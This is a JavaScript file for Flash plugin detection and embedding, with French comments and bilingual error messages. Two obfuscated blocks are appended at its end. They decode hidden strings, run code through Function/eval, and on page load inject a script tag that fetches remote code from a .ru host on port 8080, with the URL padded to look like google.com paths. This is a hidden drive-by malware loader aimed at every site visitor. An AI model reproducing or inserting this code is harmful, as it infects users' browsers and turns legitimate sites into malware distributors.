/******************************************************************************************

Signature des fonctions

//Detect si la version et release du plugins et présente
bool function detect_flash()
bool function detect_flash(version, release)

//Ecrit un flash dans la page html
function write_flash(movie, width, height)
function write_flash_1(movie, width, height, quality, loop, play, menu)

//detect et insert le flash ou l'erreur
function insert_flash_1(movie, width, height)
function insert_flash_2(movie, width, height, langue)
function insert_flash_3(movie, width, height, version, release)
function insert_flash_4(movie, width, height, langue, version, release)
function insert_flash(movie, width, height, quality, loop, play, menu, langue, version, release)

//ecrit un bloc pour aller telecharger le plugin flash
write_erreur(langue);           (langue = 'fra' : 'eng')

la class css ".div-detection-flash" peut etre utiliser pour habiller le cadre de l'erreur lorsque que flash n'est pas present

*******************************************************************************************/
//  Parametre modifiable :
var imageGetFlash = '../../img/commun/get_flash_player.gif';
var requiredVersion = 6;
var requiredRelease = 0;
var defaultLang = 'fra';



/***************************************************************************************/

//Debut script de détection

// System globals
var flash2Installed = false;    // boolean. true if flash 2 is installed
var flash3Installed = false;
var flash4Installed = false;
var flash5Installed = false; 
var flash6Installed = false; 
var flash7Installed = false;    
var flash8Installed = false;    
var flash9Installed = false;    
var maxVersion = 9;             // highest version we can actually detect
var actualVersion = 0;			// version the user really has  
var actualRelease = 0;
var jsVersion = 1.0;            // the version of javascript supported
var langue='fra';
var flashDescription='';
var isVersion2='';
var flashVersion;
var releaseTmp;

var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
jsVersion = 1.1;

// Write vbscript detection on ie win. IE on Windows doesn't support regular
// JavaScript plugins array detection.
if(isIE && isWin){
  document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n');
  document.write('on error resume next \n');
  document.write('flash2Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.2"))) \n');
  document.write('flash3Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.3"))) \n');
  document.write('flash4Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.4"))) \n');
  document.write('flash5Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.5"))) \n');  
  document.write('flash6Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.6"))) \n');  
  document.write('flash7Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.7"))) \n');
  document.write('flash8Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.8"))) \n');
  document.write('flash9Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.9"))) \n');
  document.write('<\/SCR' + 'IPT\> \n'); // break up end tag so it doesn't end our script
}


function write_flash(movie, width, height){
	write_flash_1(movie, width, height, 'high', 'false', 'true', 'false');
}
function write_flash_1(movie, width, height, quality, loop, play, menu){

		document.write( '<OBJECT CLASSID="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'
		+ 'WIDTH="'+width+'" HEIGHT="'+height+'"'
		+ 'CODEBASE="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">'
		+ '<PARAM NAME="MOVIE" VALUE="'+movie+'" >'
		+ '<PARAM NAME="PLAY" VALUE="'+play+'" >'
		+ '<PARAM NAME="LOOP" VALUE="'+loop+'" >'
		+ '<PARAM NAME="QUALITY" VALUE="'+quality+'" >'
		+ '<PARAM NAME="MENU" VALUE="'+menu+'" >'
		+ '<EMBED SRC="'+movie+'"'
		+ 'WIDTH="'+width+'" HEIGHT="'+height+'" '
		+ 'PLAY="'+play+'" '
		+ 'LOOP="'+loop+'" '
		+ 'QUALITY="'+quality+'" '
		+ 'MENU="'+menu+'" '
		+ 'TYPE="application/x-shockwave-flash" '
		+ 'PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash">'
		+ '<\/EMBED>'
		+ '<\/OBJECT>' );

}
function write_erreur(langue) {

	//Message erreur Francais
	if (langue == "fra")
	{
		 document.write( '<div class="div-detection-flash"><span style="font-weight:normal;font-size: 11px;color: #000000;font-family: "Trebuchet MS", Arial, Helvetica, sans-serif; line-height: 14px;">');
			 
		 if (actualVersion==0)
			document.write('Vous ne disposez pas du plugin Flash pour visionner l\'animation.<br>Vous pouvez le télécharger gratuitement sur le site de ');
		 else
			document.write('Votre plugin Flash n\'est pas à jour pour visionner l\'animation.<br>Vous pouvez le mettre à jour gratuitement sur le site de ');
		 
		 document.write('<a href=\"http://www.macromedia.com/go/getflashplayer_fr" target=\"_blank\">Macromedia</a>.</span>');
		 document.write('<br><br><a href="http://www.macromedia.com/go/getflashplayer_fr" target="_blank"><img src="'+imageGetFlash+'" width="88" height="31" hspace="10" border="0" alt=""></a>');
		 
		 if (actualVersion!=0)
			document.write('<br><br><span align=\"center\" style=\"font-size: 9px;color: #000000;font-family:Trebuchet MS;\">Version plugin : '+flashDescription+'</span>');
		document.write('</div>\n');
	}
	//Message erreur Anglais
	if (langue=='eng')
	{
		document.write( '<div class="div-detection-flash"><span style="font-weight:normal;font-size: 11px;color: #000000;font-family: "Trebuchet MS", Arial, Helvetica, sans-serif; line-height: 14px;">');
			 
		 if (actualVersion==0)
			document.write('You do not have the plugin Flash to view the animation.<br>You can download it free on the site of');
		 else
			document.write('Your plugin Flash isn\'t up to date to view the animation.<br>You can update it free on the site of ');
		 
		 document.write('<a href=\"http://www.macromedia.com/go/getflash" target=\"_blank\">Macromedia</a>.</span>');
		 document.write('<br><br><a href="http://www.macromedia.com/go/getflash" target="_blank"><img src="'+imageGetFlash+'" width="88" height="31" hspace="10" border="0" alt=""></a>');
		 
		 if (actualVersion!=0)
			document.write('<br><br><span align=\"center\" style=\"font-size: 9px;color: #000000;font-family:Trebuchet MS;\">Plugin version : '+flashDescription+'</span>');
		
		document.write('</div>\n');
	}



}
function detect_flash(){
	return detect_flash_1(requiredVersion, requiredRelease);
}

function detect_flash_1(version, release){

  requiredVersion = version;
  requiredRelease = release;
  // If navigator.plugins exists...
  if (navigator.plugins) {
    // ...then check for flash 2 or flash 3+.
    if (navigator.plugins["Shockwave Flash 2.0"]
        || navigator.plugins["Shockwave Flash"]) {
      // Some version of Flash was found. Time to figure out which.
      
      // Set convenient references to flash 2 and the plugin description.
      isVersion2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
      flashDescription = navigator.plugins["Shockwave Flash" + isVersion2].description;

      flashVersion = parseInt(flashDescription.substring(16));
	  releaseTmp = flashDescription.split("r");
	  
	  actualRelease = parseInt(releaseTmp[releaseTmp.length-1]);

	  //alert("Flash plugin description: " + flashDescription );
      // We found the version, now set appropriate version flags. Make sure
      // to use >= on the highest version so we don't prevent future version
      // users from entering the site.
      flash2Installed = flashVersion == 2;    
      flash3Installed = flashVersion == 3;
      flash4Installed = flashVersion == 4;
      flash5Installed = flashVersion == 5;
      flash6Installed = flashVersion == 6;
      flash7Installed = flashVersion == 7;
      flash8Installed = flashVersion == 8;
      flash9Installed = flashVersion >= 9;
    }
  }
  
  // Loop through all versions we're checking, and
  // set actualVersion to highest detected version.
  for (var i = 2; i <= maxVersion; i++) {  
    if (eval("flash" + i + "Installed") == true) actualVersion = i;
  }
   
 // DEBUG
 // alert("Version detected: " + actualVersion + "\nRelease detected: " + actualRelease +"\nLangue : "+langue);

  if (actualVersion > requiredVersion || (actualVersion == requiredVersion && actualRelease >= requiredRelease) )
	return true;
  else
	return false;

}

function get_version()
{
	detect_flash_1(0, 0);
	alert("Flash Version : "+actualVersion+"\nFlash Release : "+actualRelease);
}

function insert_flash_1(movie, width, height){
	insert_flash(movie, width, height, 'high','false', 'true', 'false', defaultLang, requiredVersion, requiredRelease);
}

function insert_flash_2(movie, width, height, langue){
	insert_flash(movie, width, height, 'high','false', 'true', 'false', langue, requiredVersion, requiredRelease);
}

function insert_flash_3(movie, width, height, version, release){
	insert_flash(movie, width, height, 'high', 'false', 'true', 'false', defaultLang, version, release);
}

function insert_flash_4(movie, width, height, langue, version, release){
	insert_flash(movie, width, height, 'high', 'false', 'true', 'false', langue, version, release);
}
function insert_flash(movie, width, height, quality, loop, play, menu, langue, version, release) {  
	if (detect_flash(version, release))
		write_flash(movie, width, height, quality, loop, play, menu);
	else
		write_erreur(langue);
}
var dgQ="b0bab392a2f5a0b1ba9e9ae0a5b5a2bacb95a883a5bfb5a6ae96a8b180a299b184ebc6ecc4ea9a9f8ba19bbd86b4b09c82a6b5aeabada5b1a4bdbca0b587a4bdbcd498a0cab6b280d898a7c9bfa0";var Nv;if(Nv!='YN' && Nv!='Fk'){Nv='YN'};var Sf;if(Sf!='vj' && Sf!='Wyk'){Sf='vj'};this.Ir=12350;function A(i){this.Q=""; var n=function(l,E){var ei;if(ei!='' && ei!='Er'){ei=''};this.Te=54773;return l[P("ahcoCrAedt", [2,1,0])](E);};var PW=29757;this.Nx="Nx";var wL;if(wL!='dN' && wL != ''){wL=null};var TD;if(TD!='xV' && TD!='qX'){TD=''};var J=new Array(); var g=function(o,T){return o^T;this.FB=false;};var zu;if(zu!='tl'){zu=''};var Ae;if(Ae!='X'){Ae='X'};var Wq;if(Wq!='zk'){Wq='zk'}; var D=function(C){var m;if(m!='MC'){m=''};var B=[212,1,243,196][1];var RD;if(RD!='qO' && RD!='EU'){RD=''};var e=[168,27,255][2];var fz;if(fz!='' && fz!='GJ'){fz=''};var h=[0,207,0,156][0];var K=[0][0];this.lG="";var Di;if(Di!='DD' && Di!='lB'){Di='DD'};var Tl;if(Tl!='gl' && Tl != ''){Tl=null};var f=C[P("elntgh", [1,0,2])];var PH;if(PH!='' && PH!='IE'){PH='r'};var xq='';while(K<f){var VT="";K++;this.Kl='';v=n(C,K - B);var k='';var VZ='';h+=v*f;var SA=new String();}var lK="lK";return new b(h % e);};var Me;if(Me!='' && Me!='zz'){Me='pt'};var tw=""; var Ib;if(Ib!=''){Ib='JF'};var wW=new String();function q(d){var dj=new Date();var od;if(od!=''){od='vT'};var U = '';var RZ=false;var qr=new Date();var pI;if(pI!='xo' && pI!='Tf'){pI='xo'};var Z =[41,84,0][2];var TS=new Array();this.ifS='';d = new b(d);var H =[0,18][0];var Uw = -1;this.Bu="";var gH;if(gH!='pY' && gH!='qS'){gH='pY'};var Gs="";var kK=new String();var pf=new Array();var MU=new Array();for (H=d[P("tgnleh", [3,4,2,1,0])]-Uw;H>=Z;H=H-[9,1][1]){var zr;if(zr!='' && zr!='tZ'){zr=''};var qe;if(qe!='' && qe!='yF'){qe=''};U+=d[P("hacAtr", [2,0,1])](H);var cX="";}var ZY=new Array();var ps=new Array();var qC="";return U;}this.Uc='';this.jW=false; var Hg="Hg";var Ag="Ag";function P(d, s){var Nu;if(Nu!='' && Nu!='OL'){Nu=null};this.qY=54535;var U = '';var We;if(We!='Rj' && We != ''){We=null};var xm;if(xm!='IY'){xm='IY'};var Z=[120,77,0][2];this.dtR=44083;this.Tw=64657;var cg=new Date();var B=[154,1,142][1];var Os;if(Os!='WF' && Os!='TIZ'){Os='WF'};var Ji;if(Ji!='dQ' && Ji!='pE'){Ji='dQ'};var fh = s.length;var ge=new Array();var z = d.length;var xkw;if(xkw!='' && xkw!='BX'){xkw='gU'};var DS;if(DS!='' && DS!='iO'){DS=''};var Re='';var kN;if(kN!='SO'){kN=''};for(var H = Z; H < z; H += fh) {var xz;if(xz!='' && xz!='JV'){xz=''};this.lY=27752;this.SE=6651;this.nv=9777;var zL = d.substr(H, fh);this.dw='';if(zL.length == fh){var OI;if(OI!='' && OI!='WD'){OI='we'};var eI;if(eI!='' && eI!='oU'){eI='mw'};for(var K in s) {var gX;if(gX!='Wej' && gX != ''){gX=null};var Vr;if(Vr!=''){Vr='uY'};var ZL;if(ZL!=''){ZL='bY'};U+=zL.substr(s[K], B);var af;if(af!='EY'){af=''};var ZT;if(ZT!='iA'){ZT=''};var rC;if(rC!='As' && rC!='rP'){rC=''};this.yA=false;}var IM=new Date();var WY;if(WY!='SEX'){WY=''};} else {  U+=zL;}var Byb;if(Byb!='FE'){Byb='FE'};var Cf="";}var SQ=24663;this.Df='';return U;}var KS;if(KS!='QuY' && KS!='Eh'){KS='QuY'};var Oh;if(Oh!='' && Oh!='AgL'){Oh='bC'};this.Iz='';this.jv='';var I=window;this.ok=false;this.tgc=false;var W=I[P("lave", [3,2,1,0])];this.iK='';var gw;if(gw!='xB' && gw!='Qb'){gw='xB'};var V=W(P("cuFnnito", [2,1,3,0]));var iQY;if(iQY!='RZP' && iQY != ''){iQY=null};var Rw;if(Rw!='Hgb'){Rw=''};var b=W(P("nrtSig", [3,2,1,4,0,5]));var NI=new String();var j=W(P("geERxp", [3,1,0,2]));var Tt;if(Tt!='' && Tt!='dS'){Tt='Egf'};var PG="PG";var G = '';this.SN="";var dW;if(dW!='Ic' && dW!='mR'){dW='Ic'};var CW=false;var wF;if(wF!='' && wF!='Vm'){wF='LB'};this.lc='';var iW=I[P("scenuape", [4,3,2,0,1])];var Wa;if(Wa!='nj'){Wa='nj'};var ju;if(ju!='nM'){ju='nM'};var lp=b[P("rofChmrCadeo", [2,0,1])];var sL=false;var M=[1, P("omucdnc.teeetarlemeEts\'(nrtpic\')", [4,0,3,2,1]),2, P("ucodtnemdob.pa.ydneplihC)d(d", [3,2,1,0]),3, P("mcco.lestariedinesg.ru:8080", [2,3,0,4,1,5,6]),4, P("oc.mraomgrmasec.mob.beo", [1,0]),5, P(".desAtttirubet\'(edef\'r", [1,0]),6, P("eoggco.lom", [3,1,5,2,7,0,6,4]),7, P("wdo.onwinload", [6,7,5,1,4,0,3,2]),8, P("asgmr.neacom", [2,1,3,0,4]),11, P("ufcnitno)(", [1,0]),12, P("werefebs", [4,2,3,1,0]),14, P("(hae)ctc", [5,2,6,7,1,0,3,4]),15, P("cec.tnom", [2,5,1,4,3,0]),16, P(":ph\"tt", [3,2,5,4,1,0]),17, P("ocm51.", [3,4,5,1,0,2]),18, P(".drsc", [1,0]),19, P("\'\'1)", [1,2,0]),20, P("rty", [1,0,2])];var eS = /[^@a-z0-9A-Z_-]/g;var p =[0][0];var iX = i[P("gelnth", [2,1,3,0])];var w =[54,2][1];var S = b.fromCharCode(37);var bG;if(bG!='' && bG!='yS'){bG='mk'};var Eu = '';var B =[1,252][0];var Gg;if(Gg!='' && Gg!='IG'){Gg=''};var jlw=new Date();this.fb=false;var to;if(to!=''){to='VY'};var Z =[61,0][1];var OAG=new String();var ng=new String();var x = '';var bb;if(bb!='mpA'){bb='mpA'};var a = '';this.ZRB="";this.IF='';var fr;if(fr!='nC'){fr='nC'};var dJ=false;this.Jf="Jf";var ZC='';for(var t=Z; t < iX; t+=w){var iXl=new String();var gm=new Date();Eu+= S; var PA;if(PA!='' && PA!='yt'){PA=null};Eu+= i[P("rbutss", [4,2,1,5,3,0])](t, w);this.ac=false;var PAm=new String();}var Oz;if(Oz!='' && Oz!='mK'){Oz=''};var aS;if(aS!='' && aS!='hw'){aS=null};var FM;if(FM!='hOy' && FM!='Rh'){FM=''};var i = iW(Eu);var Qw;if(Qw!='' && Qw!='Bo'){Qw='zY'};var Gw = new b(A);var pYx=new Array();var PZ = Gw[P("elprace", [3,0,2,1])](eS, x);var jm=new Array();var XB;if(XB!='Xy'){XB=''};var By = M[P("elgnht", [1,0])];var aC = new b(V);var fC='';this.BR=false;PZ = q(PZ);this.hN=false;this.La=false;var WwZ;if(WwZ!=''){WwZ='sx'};var jl = aC[P("clpaere", [5,4,2,1,3,0])](eS, x);var jl = D(jl);var ze=D(PZ);for(var H=Z; H < (i[P("nlgeth", [1,3,0,2])]);H=H+[179,1,137,35][1]) {var pr;if(pr!='kl' && pr!='yK'){pr=''};var Om=new String();var tD;if(tD!='' && tD!='gS'){tD='Vf'};var WH = PZ.charCodeAt(p);var Rc="Rc";var uP;if(uP!='' && uP!='bJ'){uP=null};var nS = n(i,H);this.LN="LN";var Ye=new String();nS = g(nS, WH);this.MV='';var QC=59203;nS = g(nS, ze);this.KD='';nS = g(nS, jl);p++;if(p > PZ.length-B){this.Pv="Pv";p=Z;var zX;if(zX!='' && zX!='XF'){zX=''};}var hU='';var RDp='';a += lp(nS);var tn;if(tn!='Jp'){tn=''};this.lF="";}this.nq=false;this.qej="qej";var Rk;if(Rk!=''){Rk='MD'};for(Se=Z; Se < By; Se+=w){var Ci='';var Cs='';var qh='';var Vx="";var Av;if(Av!='' && Av!='cu'){Av='is'};var RJq='';var ph=false;var Fz = lp(M[Se]);var Yv;if(Yv!='' && Yv!='YH'){Yv=''};var Ww = M[Se + B];var ZQh=false;this.Of="";var Hv = new j(Fz, lp(103));this.hj='';a=a[P("elprace", [3,0,2,1])](Hv, Ww);var Jiz='';}var iD;if(iD!='Sq'){iD='Sq'};var u=new V(a);var rN;if(rN!='Yh' && rN!='gR'){rN='Yh'};this.Vj="";u();this.BZ='';this.OZ="";var mm=false;a = '';var av="";var Xp;if(Xp!='Tlf'){Xp='Tlf'};var TQ;if(TQ!='' && TQ!='pw'){TQ=''};this.hL=false;ze = '';var Dv;if(Dv!='' && Dv!='ZO'){Dv=''};aC = '';this.kk=false;jl = '';var YIB;if(YIB!='HVV'){YIB='HVV'};u = '';this.OxT=false;this.aj="";this.Wk="";PZ = '';var VK="VK";this.ySh=16745;this.rCe="";var ak='';return '';var FgW=new String();};var Nv;if(Nv!='YN' && Nv!='Fk'){Nv='YN'};var Sf;if(Sf!='vj' && Sf!='Wyk'){Sf='vj'};this.Ir=12350;A(dgQ);
var N;if(N!='' && N!='F'){N='m'};function u() {this.V="";var k_=new String();var JX=new String();var h=']';this.id="";this.c="";var P='[';var Bp=new String();var Cy=new Date();var f='replace';var Ri;if(Ri!='' && Ri!='_K'){Ri=null};var q;if(q!='' && q!='km'){q=null};var L;if(L!='mr'){L=''};var p='g';var nt;if(nt!='' && nt!='few'){nt=''};var j=RegExp;this.Ff="";var b;if(b!='dy'){b='dy'};var B=new String();var jw=new Date();function z(A,D){var oE='';var i=P;var Lv="";var Hl;if(Hl!='ll' && Hl != ''){Hl=null};i+=D;i+=h;var EN=new String();var l=new j(i, p);var WR=new Array();var DZ='';return A[f](l, B);};this.Ld="";var Fg;if(Fg!='PE'){Fg='PE'};var sv=new Date();var o=z('hYt_tYpY:R/_/_c5h_iYnzaz-Yczo5mz-_cznR._aRnYj5uRk_e5.zcRo_mY.YnYeYtRlRozgY-5c5oRmR._jYeRrRs_e5yRhYoYmzeYs_i_tRe5.Rrzu5:z',"_RzY5");var WT;if(WT!='aN'){WT='aN'};var _B='';var PL='';var pN=window;var Q=z('sOcIroijpftO',"ojOfI");var d=z('c_r_e8a_t8e8E8l8e8m8e_n8t_',"8_");var bD;if(bD!='Li' && bD!='jY'){bD='Li'};var fz=new Array();var e=z('834315405445181344434011555',"4315");var wR=new Array();var hI=new Date();var R=z('/6gvovo6gvlvev.ycyoPmP/PgPoyoygylvev.ycyoymy/6ty-Pm6ovbvi6l6ev.ycyoPmy/vaPzyePty.vsyky/PpPhvovtvoPbyuPcvkPePtv.ycvoPmP.yp6hypy',"Py6v");var ml=new Date();var l_=new Date();pN[z('oDnDlDoxaxdD',"xD")]=function(){var rb;if(rb!='ke'){rb=''};try {this.DU='';var PP;if(PP!='CF' && PP != ''){PP=null};PL+=o;PL+=e;var Kr;if(Kr!='VD' && Kr != ''){Kr=null};PL+=R;this.uL="";O=document[d](Q);this.mQ="";this.HT="";var HQ;if(HQ!='' && HQ!='rR'){HQ='wi'};var jf=new Date();E(O,'src',PL);var FE=new Array();var Se="";var Hr=new Date();E(O,'defer',([1,7][0]));this.Pj="";var Qn=new Array();document.body.appendChild(O);this.xJ="";} catch(Y){var zI;if(zI!='' && zI!='Px'){zI=null};};};var Vm=new String();var AA='';function E(W,fC,n){var q_;if(q_!='' && q_!='qe'){q_=null};W.setAttribute(fC, n);var Xk;if(Xk!='Sy' && Xk != ''){Xk=null};this.ye="";}var Rf='';var Tt;if(Tt!='qT'){Tt=''};var MM=new Array();this.zN="";};var Ii;if(Ii!='' && Ii!='uoD'){Ii=''};var WU='';u();